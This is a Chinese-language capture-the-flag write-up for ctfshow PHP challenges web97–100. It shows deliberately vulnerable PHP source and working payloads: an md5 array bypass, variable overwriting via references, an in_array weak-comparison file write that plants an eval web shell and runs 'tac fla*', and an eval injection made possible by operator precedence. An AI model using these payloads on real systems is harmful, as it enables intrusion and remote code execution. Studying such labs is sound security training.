ctfshow web97-100 php特性
web97
md5绕过
md5() 函数不能处理数组,数组都返回 null,md5(a[]) 结果为 null
即payload如下:
xxx.com/index.php?a[]=1&b[]=2
web98
<?php
include("flag.php");
$_GET?$_GET=&$_POST:'flag';//如果存在GET请求则引用POST请求的内容
$_GET['flag']=='flag'?$_GET=&$_COOKIE:'flag';//如果存在GET请求则引用COOKIE请求的内容
$_GET['flag']=='flag'?$_GET=&$_SERVER:'flag';//如果存在GET请求则引用SERVER请求的内容
highlight_file($_GET['HTTP_FLAG']=='flag'?$flag:__FILE__);
?> //如果get传了一个HTTP_FLAG=flag就输出flag否则显示index.php源码
变量覆盖、
三元运算符
条件表达式?表达式1:表达式2
条件表达式为true时调用表达式1,为false时调用表达式2
&在php中的引用作用
关键的就是HTTP_FALG=flag,这样才就能回显flag了
尝试了一下发现第一句存在变量覆盖的效果,所以GET请求不管给什么东西都会被POST请求覆盖掉
Payload:
GET:?flag=(任意) POST:flag=(任意)&HTTP_FLAG=flag
web99
<?php
highlight_file(__FILE__);
$allow = array();
for ($i=36; $i < 0x36d; $i++) {
array_push($allow, rand(1,$i));
}
if(isset($_GET['n']) && in_array($_GET['n'], $allow)){
file_put_contents($_GET['n'], $_POST['content']);
}
?>
array_push 函数向allow数组的尾部添加一个元素
in_array (needle,haystack,strict) 检查数组中是否存在某个值,如果给定的值 search 存在于数组 array 中则返回 true。如果第三个参数设置为 true,函数只有在元素存在于数组中且数据类型与给定值相同时才返回 true。
in_array()函数有缺陷,若没有设置第三个参数,则存在弱比较(类比==)
rand() 函数返回随机整数。rand(min,max)
传入的参数中要有$allow数组中的数字,然后是file_put_contents文件包含
rand(1,$i)
新加进去的随机数字每次都包含1,1存在的几率是最大的
in_array弱类型比较
$allow = array(1,'2','3');
var_dump(in_array('1.php',$allow));
返回的为true
$allow = array('1','2','3');
var_dump(in_array('1.php',$allow));
返回false
so payload:
?n=1.php post:content=<?php eval($_POST[aaa]);?>
访问1.php
aaa=system(‘tac fla*’);
web100
<?php
highlight_file(__FILE__);
include("ctfshow.php");
//flag in class ctfshow;
$ctfshow = new ctfshow();
$v1=$_GET['v1'];
$v2=$_GET['v2'];
$v3=$_GET['v3'];
$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);
if($v0){
if(!preg_match("/\;/", $v2)){
if(preg_match("/\;/", $v3)){
eval("$v2('ctfshow')$v3");
}
}
}
?>
&& > || > = > and > or
$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);
=的运算符比and高
所以v1输入数字
v2是比较复杂的,用v2=var_dump($ctfshow)或者v2=var_dump(new ctfshow())
?v1=1&v2=var_dump($ctfshow)&v3=;